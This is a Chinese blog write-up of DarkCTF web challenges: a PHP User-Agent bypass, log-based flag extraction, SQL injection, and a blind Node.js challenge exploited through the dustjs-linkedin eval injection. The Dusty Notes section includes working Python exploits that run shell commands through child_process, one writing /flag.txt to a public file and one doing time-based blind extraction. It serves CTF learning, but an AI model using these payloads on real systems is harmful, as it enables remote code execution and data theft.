DarkCTF-WEB

好久没发新文章了。正好国庆就要到了,加上还有巅峰极客跟国赛要打。所以周五晚上练手了DarkCTF的题目,稍微花了几小时ak掉当时放出的web。其中大部分都比较简单,其中一道拿了二血的nodejs题目有点意思打算稍微记录下。

Source

给了源码跟网页,主体上就是

<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');
          } else {
                 echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ohhhhh!!! Very Close  </p></div>');
          }
      } else {
             echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Nice!!! Near But Far</p></div>');
      }
} else {
    echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>

取UserAgent作为参数,判断了字符串长度与数值大小。简单使用科学计数法9E9即可绕过

Apache Logs

给了个zip然后让你从里面的log文件里找flag.简单提取出其中String.fromCharCode部分放到浏览器console里转一下即可。不过提交时要用darkCTF而不是DarkCTF

So_Simple

开始没啥头绪。后来发现提示了传参id.于是很简单就能发现是个sql注入。甚至基本上就是sqli-labs的第一关。union注入从users表中的password里找到某个flag.

Simple_SQL

直接提示传参id.
普通布尔盲注。没啥说的。

Dusty Notes

这题花了一些时间。不过做出来时拿了二血还是挺舒服的。看到Defenit是一血不知道是不是又被posix师傅秒掉了。(posix nodejs 永远的神)

首先题目是黑盒测试的。这点对于一个nodejs题目来说增加了不少难度。如果是我出这题可能就直接给源码了。但是做完后我感觉这种设计还是很贴近现实的。也给了我一定程度上黑盒测nodejs的手段。

首先题目大致实现了一个note功能。可以通过addNotes路由传参message。通过deleteNote/{id}来删除note.


不过简单看了下cookie发现内容可以由cookie控制

//note
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"1"}]

到这一步为止我有几种思路
1.nodejs反序列化。
2.原型链污染
3.???

首先想到nodejs反序列化是因为以前NahamconCTF解出的一道node题。也是黑盒。然后只有20多解。但是我当时是抱着试一试的心态尝试了下反序列化居然成功拿到shell.后来发现,之所以会有这种想法就是因为:
数据为json串。数据由cookie控制
序列化输出的结果就是json串,所以黑盒下尝试node-serialize未尝不可。当然本题自然是失败了。因此方法也不再多说。

第二种想法自然是因为nodejs中想要出现原型链污染实在是太容易了。不过有一说一一道以原型链污染为漏洞的ctf题使用公共靶机是非常不妥的,并且一般是给出源码进行测试。加上此处并没有什么显眼的模板使用比如ejs。因此是原型链污染的可能性也不大。

此时基本上常规的思路已经走不通了。但是我简单fuzz了一下

addNotes?note[]=1
addNotes?note[toString]=1

发现它是没有做只能传字符串的限制的。一般来说,不对参数类型做限制时,我们可以传入数组或对象。因此在传入对象时这里会触发报错。
然后重点就来了,触发的报错内容如下

{"stack":"TypeError: Cannot convert object to primitive value\n    at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n    at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n    at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n    at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n    at body_4 (evalmachine.<anonymous>:1:1634)\n    at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n    at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n    at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n    at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}

爆出了当前路径/app以及一个依赖dustjs-linkedin/lib/dust.js
(这里多嘴一句,这里一开始defenit拿到一血后长达4个多小时都没有其他解,并且当时触发报错时题目只会爆500而不是像上面这样打印报错traceback,后来改了题才有了这个报错栈)

看到这个dust加上题目名中的dust,去搜索一波的话不难发现存在一个漏洞
并且有文章在实战中遇到解决
https://artsploit.blogspot.com/2016/08/pprce2.html

简单说就是,dust的模板会进入一个if语句执行eval。但是如果我们直接传入参数时它会把敏感字符做处理,而如果传入数组时则不会处理敏感字符,即可rce。

再多嘴一句,到确定是dust的洞这一步我本来以为弹个shell就完事了。结果测了好久发现不知道是不通外网还是没能执行。差点以为找错洞了。直到他改了题才发现dust依赖确认没找错洞,专心测下去的。
当然没有报错我们也有几种办法确认此处存在dust的eval漏洞
比如

addNotes?message=aaa%5C

会导致

eval("'xxx\' == 'desktop'");

触发报错
再比如

addNotes?message[]=&message[]=y%27-console.log(7)

也会报错。因为我们此时引号没有被转义直接送入eval.触发报错。
所以,如果有着良好的FUZZ手段,黑盒也可以fuzz出问题并确认依赖错误。

最后,我们使用eval语句命令执行。当然因为不通外网没有回显所以非常狗。我最后选择把结果写静态文件。并且这里静态目录是猜了一手public。所以可以直接写/proc/self/cwd/public/css/style.css或者在爆出是app目录后直接写/app/public/css
exp

url="http://dusty.darkarmy.xyz/"
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('cat /flag.txt > /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})
print(r.text)
r=requests.get(url+'css/style.css')
print(r.text)
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('rm /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})

cookie可控所有内容上面说过了。只不过测试时因为路由好用就没控cookie.

做出来后问了下出题人果然不是预期。当然这里我不太确定预期是啥,不过差的应该不多。当然聊完后出题人顺手修了下写文件的权限 :)
然后就是这种做法我自己也不是很喜欢。自己出过的nodejs题目在可以rce的情况下我都把工作目录按root权限设置。就是为了防止写文件。不过一般会配置了防止时间盲注time-based-rce,所以都会给出rce的回显

所以这里猜一手本题预期的方法是time-based-rce:
exp

import time
import requests
from urllib.parse import quote,unquote
import string

url="http://dusty.darkarmy.xyz/"

def js_exp(str1):
    x=[]
    str1 = str1.strip(' ')
    for ch in str1:
        x.append(str(ord(ch)))
    t=','.join(x)
    result='eval(String.fromCharCode('+t+'))'
    return result
flag=""
for num in range(1,50):
    print(num)
    for i in string.printable:
        cmd = """require('child_process').execSync(`if [ $(cat /flag.txt | cut -c {}) = '{}' ];then sleep 3;fi`)""".format(num,i)
        payload = js_exp(cmd)
        data = """j:[{"id":1,"body": ["1","1'-""" + payload + """;//"]}]"""
        t = time.time()
        r = requests.get(url, cookies={'note': quote(data)})
        if time.time() - t > 3:
            flag += i
            print(flag)
            break

flag:
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

因为一些格式原因。我把payload用eval转化了一下,这样看起来更舒服一些.并且不用担心奇奇怪怪的引号问题 :)

不过题目我觉得很有启发性,主要是给了我一些面对nodejs黑盒处理的手段。那就是利用其容易报错的特性进行FUZZ,得到目录这样的关键信息,或者是依赖的关键信息。同时一定程度上可以推测语句,甚至不需要知道依赖漏洞的细节就能直接上手。

最后道个歉,因为把flag写到css里后自己就把css给删了。导致后面题目一直没有style.css......

summary

后面的题在打巅峰极客摸鱼时看了看。做了个入门题跟一个User-Agent的报错注入。总之难度整体很入门就没继续看了。
没啥说的。巅峰极客体验了一把带飞的感觉。国赛就要靠自己动手丰衣足食了。加油吧。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,366评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,521评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,689评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,925评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,942评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,727评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,447评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,349评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,820评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,990评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,127评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,812评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,471评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,017评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,142评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,388评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,066评论 2 355